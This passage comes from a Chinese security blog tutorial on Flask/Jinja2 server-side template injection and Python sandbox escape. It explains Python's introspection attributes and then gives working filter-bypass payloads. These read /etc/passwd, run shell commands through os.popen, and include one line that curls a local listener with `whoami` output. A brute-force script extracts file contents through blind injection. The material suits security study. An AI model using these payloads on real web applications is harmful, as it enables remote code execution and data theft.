<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="string">''</span>.__class__.__mro__[<span class="number">1</span>].__subclasses__</span><br><span class="line">&lt;built-<span class="keyword">in</span> method __subclasses__ of type object at <span class="number">0x00007FFD2B796D30</span>&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="string">''</span>.__class__.__mro__[<span class="number">1</span>].__subclasses__.__class__</span><br><span class="line">&lt;<span class="class"><span class="keyword">class</span> '<span class="title">builtin_function_or_method</span>'&gt;</span></span><br><span class="line"><span class="class">&gt;&gt;&gt; ''.<span class="title">__class__</span>.<span class="title">__mro__</span>[1].<span class="title">__subclasses__</span><span class="params">()</span></span></span><br><span class="line">[&lt;class 'type'&gt;, &lt;class 'weakref'&gt;, &lt;class 'weakcallableproxy'&gt;, </span><br><span class="line">...</span><br><span class="line">&lt;class 'contextlib._GeneratorContextManagerBase'&gt;, &lt;class 'contextlib._BaseExitStack'&gt;, &lt;class '__future__._Feature'&gt;]</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="string">''</span>.__class__.__mro__[<span class="number">1</span>].__subclasses__().__class__</span><br><span class="line">&lt;<span class="class"><span class="keyword">class</span> '<span class="title">list</span>'&gt;</span></span><br></pre></td></tr></table></figure>

<h2 id="globals"><a href="#globals" class="headerlink" title="__globals__"></a>__globals__</h2><p>__globals__ 用于返回一个当前空间下能使用的模块，方法和变量的字典</p>
<p>这个属性是对函数的操作，即:用法为<code>函数名.__globals__</code></p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="class"><span class="keyword">class</span> <span class="title">A</span><span class="params">()</span>:</span></span><br><span class="line"><span class="meta">... </span>    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></span><br><span class="line"><span class="meta">... </span>            <span class="keyword">pass</span></span><br><span class="line"><span class="meta">... </span>    <span class="function"><span class="keyword">def</span> <span class="title">fun</span><span class="params">(self)</span>:</span></span><br><span class="line"><span class="meta">... </span>            print(<span class="string">'A.fun'</span>)</span><br><span class="line">...</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>A.fun.__globals__</span><br><span class="line">&#123;'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': &lt;class '_frozen_importlib.BuiltinImporter'&gt;, '__spec__': None, '__annotations__': &#123;&#125;, '__builtins__': &lt;module 'builtins' (built-in)&gt;, 'A': &lt;class '__main__.A'&gt;&#125;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>classA = A()</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>classA.fun.__globals__</span><br><span class="line">&#123;'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': &lt;class '_frozen_importlib.BuiltinImporter'&gt;, '__spec__': None, '__annotations__': &#123;&#125;, '__builtins__': &lt;module 'builtins' (built-in)&gt;, 'A': &lt;class '__main__.A'&gt;, 'classA': &lt;__main__.A object at 0x000001F2CA247F98&gt;&#125;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>classA.fun.__globals__.__class__</span><br><span class="line">&lt;<span class="class"><span class="keyword">class</span> '<span class="title">dict</span>'&gt;</span></span><br></pre></td></tr></table></figure>

<h2 id="builtin-和-builtins"><a href="#builtin-和-builtins" class="headerlink" title="__builtin__ 和 __builtins__"></a>__builtin__ 和 __builtins__</h2><p>启动Python解释器或运行一个Python程序时，内建名称空间都是从__builtins__模块中加载的，只是__builtins__本身是对Python内建模块__builtin__的引用，而这种引用又分下面两种情况:</p>
<ul>
<li>如果是在主模块__main__中，__builtins__直接引用__builtin__模块，此时模块名__builtins__与模块名__builtin__指向的都是同一个模块，即<builtin>内建模块(这里要注意变量名和对象本身的区别)</builtin></li>
<li>如果不是在主模块中，那么__builtins__只是引用了__builtin__.__dict__</li>
</ul>
<p>建议查看官方文档 <a href="https://docs.python.org/zh-cn/3/library/builtins.html" target="_blank" rel="noopener">python3 builtins</a></p>
<p><a href="https://docs.python.org/zh-cn/2.7/library/__builtin__.html" target="_blank" rel="noopener">python2 __builtin__</a></p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># python 3.7.3</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>dir(<span class="string">'builtin'</span>)</span><br><span class="line">[<span class="string">'__add__'</span>, <span class="string">'__class__'</span>, <span class="string">'__contains__'</span>, <span class="string">'__delattr__'</span>, <span class="string">'__dir__'</span>, <span class="string">'__doc__'</span>, <span class="string">'__eq__'</span>, <span class="string">'__format__'</span>, <span class="string">'__ge__'</span>, <span class="string">'__getattribute__'</span>, <span class="string">'__getitem__'</span>, <span class="string">'__getnewargs__'</span>, <span class="string">'__gt__'</span>, <span class="string">'__hash__'</span>, <span class="string">'__init__'</span>, <span class="string">'__init_subclass__'</span>, <span class="string">'__iter__'</span>, <span class="string">'__le__'</span>, <span class="string">'__len__'</span>, <span class="string">'__lt__'</span>, <span class="string">'__mod__'</span>, <span class="string">'__mul__'</span>, <span class="string">'__ne__'</span>, <span class="string">'__new__'</span>, <span class="string">'__reduce__'</span>, <span class="string">'__reduce_ex__'</span>, <span class="string">'__repr__'</span>, <span class="string">'__rmod__'</span>, <span class="string">'__rmul__'</span>, <span class="string">'__setattr__'</span>, <span class="string">'__sizeof__'</span>, <span class="string">'__str__'</span>, <span class="string">'__subclasshook__'</span>, <span class="string">'capitalize'</span>, <span class="string">'casefold'</span>, <span class="string">'center'</span>, <span class="string">'count'</span>, <span class="string">'encode'</span>, <span class="string">'endswith'</span>, <span class="string">'expandtabs'</span>, <span class="string">'find'</span>, <span class="string">'format'</span>, <span class="string">'format_map'</span>, <span class="string">'index'</span>, <span class="string">'isalnum'</span>, <span class="string">'isalpha'</span>, <span class="string">'isascii'</span>, <span class="string">'isdecimal'</span>, <span class="string">'isdigit'</span>, <span class="string">'isidentifier'</span>, <span class="string">'islower'</span>, <span class="string">'isnumeric'</span>, <span class="string">'isprintable'</span>, <span class="string">'isspace'</span>, <span class="string">'istitle'</span>, <span class="string">'isupper'</span>, <span class="string">'join'</span>, <span class="string">'ljust'</span>, <span class="string">'lower'</span>, <span class="string">'lstrip'</span>, <span class="string">'maketrans'</span>, <span class="string">'partition'</span>, <span class="string">'replace'</span>, <span class="string">'rfind'</span>, <span class="string">'rindex'</span>, <span class="string">'rjust'</span>, <span class="string">'rpartition'</span>, <span class="string">'rsplit'</span>, <span class="string">'rstrip'</span>, <span class="string">'split'</span>, <span class="string">'splitlines'</span>, <span class="string">'startswith'</span>, <span class="string">'strip'</span>, <span class="string">'swapcase'</span>, <span class="string">'title'</span>, <span class="string">'translate'</span>, <span class="string">'upper'</span>, <span class="string">'zfill'</span>]</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>__builtins__</span><br><span class="line">&lt;module <span class="string">'builtins'</span> (built-<span class="keyword">in</span>)&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>dir(__builtins__)</span><br><span class="line">[<span class="string">'ArithmeticError'</span>, <span class="string">'AssertionError'</span>, <span class="string">'AttributeError'</span>, <span class="string">'BaseException'</span>, <span class="string">'BlockingIOError'</span>, <span class="string">'BrokenPipeError'</span>, <span class="string">'BufferError'</span>, <span class="string">'BytesWarning'</span>, <span class="string">'ChildProcessError'</span>, <span class="string">'ConnectionAbortedError'</span>, <span class="string">'ConnectionError'</span>, <span class="string">'ConnectionRefusedError'</span>, <span class="string">'ConnectionResetError'</span>, <span class="string">'DeprecationWarning'</span>, <span class="string">'EOFError'</span>, <span class="string">'Ellipsis'</span>, <span class="string">'EnvironmentError'</span>, <span class="string">'Exception'</span>, <span class="string">'False'</span>, <span class="string">'FileExistsError'</span>, <span class="string">'FileNotFoundError'</span>, <span class="string">'FloatingPointError'</span>, <span class="string">'FutureWarning'</span>, <span class="string">'GeneratorExit'</span>, <span class="string">'IOError'</span>, <span class="string">'ImportError'</span>, <span class="string">'ImportWarning'</span>, <span class="string">'IndentationError'</span>, <span class="string">'IndexError'</span>, <span class="string">'InterruptedError'</span>, <span class="string">'IsADirectoryError'</span>, <span class="string">'KeyError'</span>, <span class="string">'KeyboardInterrupt'</span>, <span class="string">'LookupError'</span>, <span class="string">'MemoryError'</span>, <span class="string">'ModuleNotFoundError'</span>, <span class="string">'NameError'</span>, <span class="string">'None'</span>, <span class="string">'NotADirectoryError'</span>, <span class="string">'NotImplemented'</span>, <span class="string">'NotImplementedError'</span>, <span class="string">'OSError'</span>, <span class="string">'OverflowError'</span>, <span class="string">'PendingDeprecationWarning'</span>, <span class="string">'PermissionError'</span>, <span class="string">'ProcessLookupError'</span>, <span class="string">'RecursionError'</span>, <span class="string">'ReferenceError'</span>, <span class="string">'ResourceWarning'</span>, <span class="string">'RuntimeError'</span>, <span class="string">'RuntimeWarning'</span>, <span class="string">'StopAsyncIteration'</span>, <span class="string">'StopIteration'</span>, <span class="string">'SyntaxError'</span>, <span class="string">'SyntaxWarning'</span>, <span class="string">'SystemError'</span>, <span class="string">'SystemExit'</span>, <span class="string">'TabError'</span>, <span class="string">'TimeoutError'</span>, <span class="string">'True'</span>, <span class="string">'TypeError'</span>, <span class="string">'UnboundLocalError'</span>, <span class="string">'UnicodeDecodeError'</span>, <span class="string">'UnicodeEncodeError'</span>, <span class="string">'UnicodeError'</span>, <span class="string">'UnicodeTranslateError'</span>, <span class="string">'UnicodeWarning'</span>, <span class="string">'UserWarning'</span>, <span class="string">'ValueError'</span>, <span class="string">'Warning'</span>, <span class="string">'WindowsError'</span>, <span class="string">'ZeroDivisionError'</span>, <span class="string">'_'</span>, <span class="string">'__build_class__'</span>, <span class="string">'__debug__'</span>, <span class="string">'__doc__'</span>, <span class="string">'__import__'</span>, <span class="string">'__loader__'</span>, <span class="string">'__name__'</span>, <span class="string">'__package__'</span>, <span class="string">'__spec__'</span>, <span class="string">'abs'</span>, <span class="string">'all'</span>, <span class="string">'any'</span>, <span class="string">'ascii'</span>, <span class="string">'bin'</span>, <span class="string">'bool'</span>, <span class="string">'breakpoint'</span>, <span class="string">'bytearray'</span>, <span class="string">'bytes'</span>, <span class="string">'callable'</span>, <span class="string">'chr'</span>, <span class="string">'classmethod'</span>, <span class="string">'compile'</span>, <span class="string">'complex'</span>, <span class="string">'copyright'</span>, <span class="string">'credits'</span>, <span class="string">'delattr'</span>, <span class="string">'dict'</span>, <span class="string">'dir'</span>, <span class="string">'divmod'</span>, <span class="string">'enumerate'</span>, <span class="string">'eval'</span>, <span class="string">'exec'</span>, <span class="string">'exit'</span>, <span class="string">'filter'</span>, <span class="string">'float'</span>, <span class="string">'format'</span>, <span class="string">'frozenset'</span>, <span class="string">'getattr'</span>, <span class="string">'globals'</span>, <span class="string">'hasattr'</span>, <span class="string">'hash'</span>, <span class="string">'help'</span>, <span class="string">'hex'</span>, <span class="string">'id'</span>, <span class="string">'input'</span>, <span class="string">'int'</span>, <span class="string">'isinstance'</span>, <span class="string">'issubclass'</span>, <span class="string">'iter'</span>, <span class="string">'len'</span>, <span class="string">'license'</span>, <span class="string">'list'</span>, <span class="string">'locals'</span>, <span class="string">'map'</span>, <span class="string">'max'</span>, <span class="string">'memoryview'</span>, <span class="string">'min'</span>, <span class="string">'next'</span>, <span class="string">'object'</span>, <span class="string">'oct'</span>, <span class="string">'open'</span>, <span class="string">'ord'</span>, <span class="string">'pow'</span>, <span class="string">'print'</span>, <span class="string">'property'</span>, <span class="string">'quit'</span>, <span class="string">'range'</span>, <span class="string">'repr'</span>, <span class="string">'reversed'</span>, <span class="string">'round'</span>, <span class="string">'set'</span>, <span class="string">'setattr'</span>, <span class="string">'slice'</span>, <span class="string">'sorted'</span>, <span class="string">'staticmethod'</span>, <span class="string">'str'</span>, <span class="string">'sum'</span>, <span class="string">'super'</span>, <span class="string">'tuple'</span>, <span class="string">'type'</span>, <span class="string">'vars'</span>, <span class="string">'zip'</span>]</span><br></pre></td></tr></table></figure>

<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># python 2.7.15</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">import</span> __builtin__</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>__builtin__</span><br><span class="line">&lt;module <span class="string">'__builtin__'</span> (built-<span class="keyword">in</span>)&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>__builtins__</span><br><span class="line">&lt;module <span class="string">'__builtin__'</span> (built-<span class="keyword">in</span>)&gt;</span><br></pre></td></tr></table></figure>

<h1 id="flask-ssti-常用的-bypass"><a href="#flask-ssti-常用的-bypass" class="headerlink" title="flask ssti 常用的 bypass"></a>flask ssti 常用的 bypass</h1><h2 id="绕过中括号"><a href="#绕过中括号" class="headerlink" title="绕过中括号 []"></a>绕过中括号 []</h2><h3 id="利用-getitem-函数"><a href="#利用-getitem-函数" class="headerlink" title="利用 __getitem__()函数"></a>利用 <code>__getitem__()</code>函数</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">""</span>.__class__.__mro__.__getitem__(<span class="number">2</span>).__subclasses__().pop(<span class="number">40</span>)(<span class="string">'/etc/passwd'</span>).read()</span><br><span class="line"><span class="string">""</span>.__class__.__mro__.__getitem__(<span class="number">2</span>).__subclasses__().pop(<span class="number">59</span>).__init__.func_globals.linecache.os.popen(<span class="string">'ls'</span>).read()</span><br></pre></td></tr></table></figure>

<h2 id="绕过引号"><a href="#绕过引号" class="headerlink" title="绕过引号"></a>绕过引号</h2><h3 id="利用chr-函数"><a href="#利用chr-函数" class="headerlink" title="利用chr()函数"></a>利用<code>chr()</code>函数</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;% set chr=().__class__.__bases__.__getitem__(<span class="number">0</span>).__subclasses__()[<span class="number">59</span>].__init__.__globals__.__builtins__.chr %&#125;&#123;&#123; ().__class__.__bases__.__getitem__(<span class="number">0</span>).__subclasses__().pop(<span class="number">40</span>)(chr(<span class="number">47</span>)%<span class="number">2</span>bchr(<span class="number">101</span>)%<span class="number">2</span>bchr(<span class="number">116</span>)%<span class="number">2</span>bchr(<span class="number">99</span>)%<span class="number">2</span>bchr(<span class="number">47</span>)%<span class="number">2</span>bchr(<span class="number">112</span>)%<span class="number">2</span>bchr(<span class="number">97</span>)%<span class="number">2</span>bchr(<span class="number">115</span>)%<span class="number">2</span>bchr(<span class="number">115</span>)%<span class="number">2</span>bchr(<span class="number">119</span>)%<span class="number">2</span>bchr(<span class="number">100</span>)).read() &#125;&#125;</span><br></pre></td></tr></table></figure>

<h3 id="利用requests对象传参"><a href="#利用requests对象传参" class="headerlink" title="利用requests对象传参"></a>利用requests对象传参</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123; <span class="string">""</span>.__class__.__bases__.__getitem__(<span class="number">0</span>).__subclasses__().pop(<span class="number">40</span>)(request.args.path).read() &#125;&#125;</span><br><span class="line">path=/etc/passwd</span><br></pre></td></tr></table></figure>

<h2 id="绕过下划线"><a href="#绕过下划线" class="headerlink" title="绕过下划线"></a>绕过下划线</h2><h3 id="利用requests对象传参-1"><a href="#利用requests对象传参-1" class="headerlink" title="利用requests对象传参"></a>利用requests对象传参</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123; <span class="string">''</span>[request.args<span class="class">.<span class="keyword">class</span>][<span class="title">request</span>.<span class="title">args</span>.<span class="title">mro</span>][2][<span class="title">request</span>.<span class="title">args</span>.<span class="title">subclasses</span>]<span class="params">()</span>[40]<span class="params">(<span class="string">'/etc/passwd'</span>)</span>.<span class="title">read</span><span class="params">()</span> &#125;&#125;</span></span><br><span class="line">class=__class__</span><br><span class="line">mro=__mro__</span><br><span class="line">subclasses=__subclasses__</span><br></pre></td></tr></table></figure>

<h2 id="绕过大括号"><a href="#绕过大括号" class="headerlink" title="绕过大括号"></a>绕过大括号</h2><h3 id="利用控制语句-37-37"><a href="#利用控制语句-37-37" class="headerlink" title="利用控制语句{&#37; &#37;}"></a>利用控制语句{&#37; &#37;}</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;% <span class="keyword">if</span> <span class="string">''</span>.__class__.__mro__[<span class="number">2</span>].__subclasses__()[<span class="number">59</span>].__init__.func_globals.linecache.os.popen(<span class="string">'curl http://127.0.0.1:7999/?i=`whoami`'</span>).read()==<span class="string">'p'</span> %&#125;<span class="number">1</span>&#123;% endif %&#125;</span><br><span class="line"></span><br><span class="line">&#123;% <span class="keyword">if</span> <span class="string">''</span>.__class__.__mro__[<span class="number">2</span>].__subclasses__()[<span class="number">40</span>](<span class="string">'/tmp/test'</span>).read()[<span class="number">0</span>:<span class="number">1</span>]==<span class="string">'p'</span> %&#125;yes&#123;% endif %&#125;</span><br></pre></td></tr></table></figure>

<p>读文件</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line">url = <span class="string">''</span></span><br><span class="line">flag = <span class="string">''</span></span><br><span class="line">dic = <span class="string">'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&amp;*()_+-=[]&#123;&#125;;\':\",./&lt;&gt;?\\|'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">150</span>):</span><br><span class="line">	<span class="keyword">for</span> _ <span class="keyword">in</span> dic:</span><br><span class="line">		payload = <span class="string">'&#123;% if "".__class__.__mro__[2].__subclasses__()[40](\'/tmp/test\').read()['</span> + str(i) + <span class="string">']==\''</span> + _ + <span class="string">'\' %&#125;yes&#123;% endif %&#125;'</span></span><br><span class="line">		data = &#123;</span><br><span class="line">			<span class="string">'data'</span>: payload,</span><br><span class="line">		&#125;</span><br><span class="line">		r = requests.post(url, data=data).content.decode(<span class="string">'utf8'</span>)</span><br><span class="line">		<span class="keyword">if</span> <span class="string">'yes'</span> <span class="keyword">in</span> r:</span><br><span class="line">			flag += _</span><br><span class="line">			<span class="keyword">break</span></span><br><span class="line">print(flag)</span><br></pre></td></tr></table></figure>

<h2 id="同时绕过-大括号-和-下划线"><a href="#同时绕过-大括号-和-下划线" class="headerlink" title="同时绕过 大括号 和 下划线"></a>同时绕过 大括号 和 下划线</h2><h3 id="利用-amp-attr"><a href="#利用-amp-attr" class="headerlink" title="利用 | &amp; attr()"></a>利用 | &amp; attr()</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&#123;% <span class="keyword">print</span> <span class="string">""</span>|attr(request.args<span class="class">.<span class="keyword">class</span>)|<span class="title">attr</span><span class="params">(request.args.base)</span>|<span class="title">attr</span><span class="params">(request.args.subclasses)</span><span class="params">()</span>|<span class="title">attr</span><span class="params">(request.args.getitem)</span><span class="params">(<span class="number">99</span>)</span>|<span class="title">attr</span><span class="params">(request.args.init)</span>|<span class="title">attr</span><span class="params">(request.args.globals)</span>|<span class="title">attr</span><span class="params">(request.args.getitem)</span><span class="params">(<span class="string">"o"</span>+<span class="string">"s"</span>)</span>|<span class="title">attr</span><span class="params">(<span class="string">"popen"</span>)</span><span class="params">(<span class="string">"ls"</span>)</span>|<span class="title">attr</span><span class="params">(request.args.re)</span><span class="params">()</span>|<span class="title">safe</span> %&#125;</span></span><br><span class="line">globals=__globals__</span><br><span class="line">subclasses=__subclasses__</span><br><span class="line">re=read</span><br><span class="line">init=__init__</span><br><span class="line">base=__base__</span><br><span class="line">class=__class__</span><br><span class="line">getitem=__getitem__</span><br></pre></td></tr></table></figure>

<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ul>
<li><p>flask + jinja2 的 SSTI 和 python 沙箱逃逸有密不可分的关系，只有自己把内建函数搞清楚才能在遇到的时候靠自己写出来payload</p>
</li>
<li><p>遇到SSTI第一步一定要判断前后端是什么语言什么框架。</p>
</li>
</ul>
<p>附:SSTI 模板判断导图，模板-语言关系图</p>
<p><img src="https://q6fcrw.sn.files.1drv.com/y4myLNDZak2pCjhPIenf32kI7a3LLRkhH0Ir5BIv4Ffn6A7hmtH7rKKPjLPQ5H-n1Ehzisv7N3J1cZI3HxPSTIOguXF95B3z7i0AYW1DKfqLhEg-u6rZmPuu0Ro6T2tu14uOotDOS96PD-n60n7e4v6uquf8rquH1i5InQPcbnZld8TN1C2_MhZckiTGHFXJOWIakiBMEpaCHvJkF2TaFXVYw?width=640&height=386&cropmode=none" alt></p>
<p><img src="https://q6farw.sn.files.1drv.com/y4mU28XYNAZtf0cR4k__c2hnFenGREBawUThRvg9Z66f12ZGgEZVVXiZ36jaTDITgiGpeigBlYklGeMGdAdF3jURQF7wZUu4vYHm7W3mC8MBJwkWPuBvVDwfzycHnCjGI3cw-dwI7JaMcb1-ggC_TJJlpN5x91SebR47n9pzx_CijUxd4B9_ScNkJZMeGO-IHN4pSKgvSpbhA1ax8YnYrnzaQ?width=732&height=835&cropmode=none" alt></p>
<p>图片来源:<a href="https://xzfile.aliyuncs.com/media/upload/picture/20181221165627-4d167624-04fe-1.png" target="_blank" rel="noopener">https://xzfile.aliyuncs.com/media/upload/picture/20181221165627-4d167624-04fe-1.png</a></p>
<hr>
<p>参考文章:</p>
<p><a href="https://xz.aliyun.com/t/3679" target="_blank" rel="noopener">https://xz.aliyun.com/t/3679</a><br><a href="http://blog.knownsec.com/2015/11/server-side-template-injection-attack-analysis/" target="_blank" rel="noopener">http://blog.knownsec.com/2015/11/server-side-template-injection-attack-analysis/</a><br><a href="https://blog.51cto.com/xpleaf/1764849" target="_blank" rel="noopener">https://blog.51cto.com/xpleaf/1764849</a><br><a href="https://docs.python.org/3/" target="_blank" rel="noopener">https://docs.python.org/3/</a><br><a href="https://blog.csdn.net/qq_35078631/article/details/78504415" target="_blank" rel="noopener">https://blog.csdn.net/qq_35078631/article/details/78504415</a></p>

      
    </div>
    
    
    

    
      <div>
        <div id="wechat_subscriber" style="display: block; padding: 10px 0; margin: 20px auto; width: 100%; text-align: center">
    <img id="wechat_subscriber_qcode" src="/uploads/images/wechatQR_2.JPG" alt="AbelChe wechat" style="width: 200px; max-width: 100%;">
    <div>扫码加微信</div>
</div>

      </div>
    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>Donate here!!!</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>打赏</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechatpay.png" alt="AbelChe 微信支付">
        <p>微信支付</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/alipay.png" alt="AbelChe 支付宝">
        <p>支付宝</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    
      <div>
        <ul class="post-copyright">
  <li class="post-copyright-author">
    <strong>本文作者：</strong>
    AbelChe
  </li>
  <li class="post-copyright-link">
    <strong>本文链接：</strong>
    <a href="http://AbelChe.com/2019/07/27/SSTI-服务端模板注入简析/" title="从 flask+jinjia2 认识 SSTI 服务端模板注入">http://AbelChe.com/2019/07/27/SSTI-服务端模板注入简析/</a>
  </li>
  <li class="post-copyright-license">
    <strong>版权声明： </strong>
    本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/3.0/" rel="external nofollow" target="_blank">CC BY-NC-SA 3.0</a> 许可协议。转载请注明出处！
  </li>
</ul>

      </div>
    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/web/" rel="tag"># web</a>
          
            <a href="/tags/SSTI/" rel="tag"># SSTI</a>
          
            <a href="/tags/服务端模板注入/" rel="tag"># 服务端模板注入</a>
          
            <a href="/tags/python-沙箱逃逸/" rel="tag"># python 沙箱逃逸</a>
          
        </div>
      

      
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2019/07/26/Writeup/WP-HCTF2017-Deserted-place/" rel="next" title="WP-HCTF2017-Deserted place">
                <i class="fa fa-chevron-left"></i> WP-HCTF2017-Deserted place
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2019/07/27/Writeup/WP-TokyoWesterns-CTF-4th-2018-shrine/" rel="prev" title="WP-TokyoWesterns CTF 4th 2018 shrine">
                WP-TokyoWesterns CTF 4th 2018 shrine <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>



    <div class="post-spread">
      
    </div>
  </div>


          </div>
          


          

  
    <div class="comments" id="comments">
    </div>
  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
      <div id="sidebar-dimmer"></div>
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            文章目录
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            站点概览
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <a href="/"><img class="site-author-image" itemprop="image" src="/uploads/images/head.png" alt="AbelChe"></a>
            
              <a href="/"><p class="site-author-name" itemprop="name">AbelChe</p></a>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">65</span>
                  <span class="site-state-item-name">日志</span>
                </a>
              </div>
            

            
              
              
              <div class="site-state-item site-state-categories">
                <a href="/categories/index.html">
                  <span class="site-state-item-count">13</span>
                  <span class="site-state-item-name">分类</span>
                </a>
              </div>
            

            
              
              
              <div class="site-state-item site-state-tags">
                <a href="/tags/index.html">
                  <span class="site-state-item-count">81</span>
                  <span class="site-state-item-name">标签</span>
                </a>
              </div>
            

          </nav>

          
            <div class="feed-link motion-element">
              <a href="/atom.xml" rel="alternate">
                <i class="fa fa-rss"></i>
                RSS
              </a>
            </div>
          

          
            <div class="links-of-author motion-element">
                
                  <span class="links-of-author-item">
                    <a href="https://github.com/AbelChe" target="_blank" title="GitHub">
                      
                        <i class="fa fa-fw fa-github"></i>GitHub</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="https://coding.net/u/AbelChe" target="_blank" title="Coding">
                      
                        <i class="fa fa-fw fa-bullseye"></i>Coding</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="https://gitee.com/abelche" target="_blank" title="Gitee">
                      
                        <i class="fa fa-fw fa-codepen"></i>Gitee</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="https://www.aliyun.com" target="_blank" title="Aliyun">
                      
                        <i class="fa fa-fw fa-cloud"></i>Aliyun</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="https://mail.qq.com" target="_blank" title="QQ_mail">
                      
                        <i class="fa fa-fw fa-envelope"></i>QQ_mail</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="http://mail.google.com/mail/" target="_blank" title="Gmail">
                      
                        <i class="fa fa-fw fa-google"></i>Gmail</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="https://twitter.com/AbelChe7" target="_blank" title="Twitter">
                      
                        <i class="fa fa-fw fa-twitter"></i>Twitter</a>
                  </span>
                
            </div>
          

          
          
            <div class="cc-license motion-element" itemprop="license">
